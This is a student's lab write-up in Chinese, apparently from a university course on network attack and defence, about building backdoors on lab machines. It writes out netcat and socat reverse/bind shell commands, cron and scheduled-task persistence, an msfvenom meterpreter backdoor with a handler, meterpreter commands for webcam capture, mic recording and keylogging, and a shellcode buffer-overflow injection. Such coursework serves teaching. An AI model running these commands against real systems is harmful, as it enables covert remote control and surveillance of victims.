2023-2024—2 20201302姬正坤《网络对抗技术》Exp2 后门原理与实践

发布时间 2023-03-23 12:34:10作者: ~纯净~

2023-2024—2 20201302姬正坤《网络对抗技术》Exp2 后门原理与实践

一、实验准备

1、基础问题的思考

a、例举你能想到的一个后门进入到你系统中的可能方式?

答:网络不知名小网站下载的盗版软件包里可能含有后门程序,在进行安装时进入系统。

b、例举你知道的后门如何启动?

答:

  • 伪装成常用软件,诱使用户点击
  • 远程监听从而反向连接被控主机,发送后门,控制后门启动
  • linux的cron程序被修改,使得自动定时执行后门程序

c、Meterpreter有哪些给你映像深刻的功能?

答:可以远程开启被控主机的摄像头和录像功能捕获画面,可以获取主机的权限修改系统。

d、如何发现自己有系统有没有被安装后门?

答:

  • 定期用电脑所下载的杀毒软件对系统进行检测,及时处理可疑程序
  • 开启防火墙,查看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的
  • 通过nmap扫描与wireshark抓包分析
  • 火绒安全工具提供的火绒剑也可以及时监控关闭进程

2、netcat的学习

a、windows获取linux的shell

  • 在windows下使用ipconfig查看本机ip为192.168.43.188
    image
  • 在window cmd使用nact.exe监听本机的1302端口
    ncat.exe -l -p 1302
  • 在linux中反弹连接windows,使用-e选项执行shell程序
    nc 192.168.43.188 1302 -e /bin/sh
    image
    image
  • windows成功获取linux的shell
    image

b、linux获取windows的shell

  • linux下ifconfig查看IP地址为192.168.241.132
    image
  • linux端使用nc指令监听1302端口
    nc -l -p 1302
    image
  • 在windows下使用ncat.exe反向连接linux的1302端口
    ncat.exe -e cmd.exe 192.168.241.132 1302
    image
  • linux成功看到windows的命令提示,使用dir查看文件目录
    image

c、使用nc传输数据

  • windows下监听1302端口
    ncat.exe -l 1302
  • linux反连接windows的1302端口
    nc 192.168.43.188
  • 通信(由于第二次重新开始实验时忘记保存截图了,而用的手机热点使得主机的WLAN ip发生变化,这里用的是此前测试用例)
    image

d、使用nc传输文件

  • 监听1302端口
    ncat.exe 1302 > jzk.txt
    image

  • linux反连接windows的1302端口
    nc 192.168.43.188 1302 < jzk.txt
    image

  • windows可以收到linux发来的文件
    image

3、socat的学习

socat是ncat的增强版,它使用的格式是

socat [options] <address> <address>

其中两个address是必选项,而options是可选项
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

4、Meterpreter的学习

Meterpreter具有强大的功能,特别是其socks代理
有关参数可以参考https://blog.51cto.com/laoyinga/1880673
参考生成shellcode,注入到可执行文件,执行时回连攻击主机https://blog.csdn.net/mickeymouse1928/article/details/71160027

二、实验过程

任务一:使用netcat获取主机操作Shell,cron启动

1、windows监听1302端口

2、crontab指令增加一条定时任务,-e表示编辑。在最后一行添加以下代码,在每个时间段的第45分钟反向连接Windows主机的1302端口

45 * * * * /bin/netcat 192.168.43.188 1302 -e /bin/sh

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可man cron
image

3、时间到了8:45,此时已获得了Kali的shell,使用ls查看目录

image

任务二:使用socat获取主机操作Shell, 任务计划启动

1、右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务,进行以下设定

a、常规中填写任务名称为exp

image

b、点击触发器然后新建触发器,选择工作站锁定时触发

image

c、在操作选项中,导入下载解压后的socat.exe的路径,在添加参数中填入

tcp-listen:1302 exec:cmd.exe,pty,stderr

(把cmd.exe绑定到端口1302,同时把cmd.exe的stderr重定向到stdout上)
image

2、锁定计算机,然后重新进入计算机启动socat

image
image

3、在kali中获得cmd shell

socat - tcp:192.168.43.188:1302

-代表标准的输入输出,第二个流连接到Windows主机的1302端口,IP为windows的IP
image

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1、在kali中输入指令如下,生成后门程序20201302_backdoors.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.241.132 LPORT=1302 -f exe > 20201302_backdoors.exe
image

2、在windows中查看连接状态

ncat.exe -lv 1302 > 20201302_backdoors.exe
image

3、在kali将生成的后门传送到window主机,传输成功后断开连接

nc 192.168.43.188 < 20201302_backdoors.exe
image
image

4、在kali中打开另一个终端,输入msfconsole进入控制台,进行以下操作

a、使用监听模块,设置payload

use exploit/multi/handler

b、使用和生成后门程序payload

set payload windows/meterpreter/reverse_tcp

c、指定kali的ip

set LHOST 192.168.241.132

d、指定端口号

set LPORT 1302

e、输入exploit开始监听

image

5、打开后门文件.exe

6、kali获得Windows主机的连接,并且得到了远程控制的shell

image

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1、截取音频:record_mic

image
image

2、获取摄像头拍照webcam_snap

image
image

3、截屏:screenshot

image
image

(指令在下方照片里)

4、记录击键的过程:keyscan_start读取击键的记录:keyscan_dump

image

5、查看当前用户:getuid

照片同上

6、提取权限:getsystem

这一步我这里超时了没有成功

image

加分任务:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1、查看各个主机版本适用的payloadmsfvenom --list payload

image

2、选定payload,确定所需要参数msfvenom -p linux/x86/shell_reverse_tcp --list-options

image

3、生成shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.241.132 LPORT=1302 -f c

  • -p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp
  • -f c表示采取c编码格式
  • LHOST与LPORT是kali ip地址与学号端口
    image

4、注入shellcode并cat

'perl -e 'print"A" x 32;print “shellcode” '>input_shellcode
(cat input_shellcode;cat) | ./pwn1
image

5、查找pwn1进程,gdb调试

a、打开另一个终端,使用管道命令找到pwn1ps -ef | grep pwn1
b、输入gdb,attach '进程号'绑定pwn1

这两个步骤忘记截图保存了

c、输入diassemble foo找到最后一行设置断点break *0x080484ae
d、打开第一个终端在cat下回车,回到gdb键入c继续调试,输入info r esp查找栈顶

image

e、使用x/16x 查找栈顶,直到找到与生成shellcode前4位相同的编码,如下图找到了0xe3f7db31对应shellcode的小端存储排列前四位

image
image

6、找到的栈顶序列+0x4即为shellcode的所需四位,计算得到新的shellcode并注入

image
image
image

7、再开一个终端,配置msfconsole

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST kali ip
set LPORT 学号后四位端口
image

8、在另一个终端再次输入(cat input_shellcode;cat) | ./pwn1,msf得到控制权

image
image

三、实验总结

心得体会:通过本次实验我明白了后门的基本原理,掌握了基本的socat、nc与Meterpreter的相关操作,按照老师文档和学长的博客的指导一步步完成实验,才了解到后门的强大之处,平时要多注意计算机安全,留意恶意程序;在实践中一步步的操作尝试了不同的内容,希望在之后得到更多结果,有更多收获。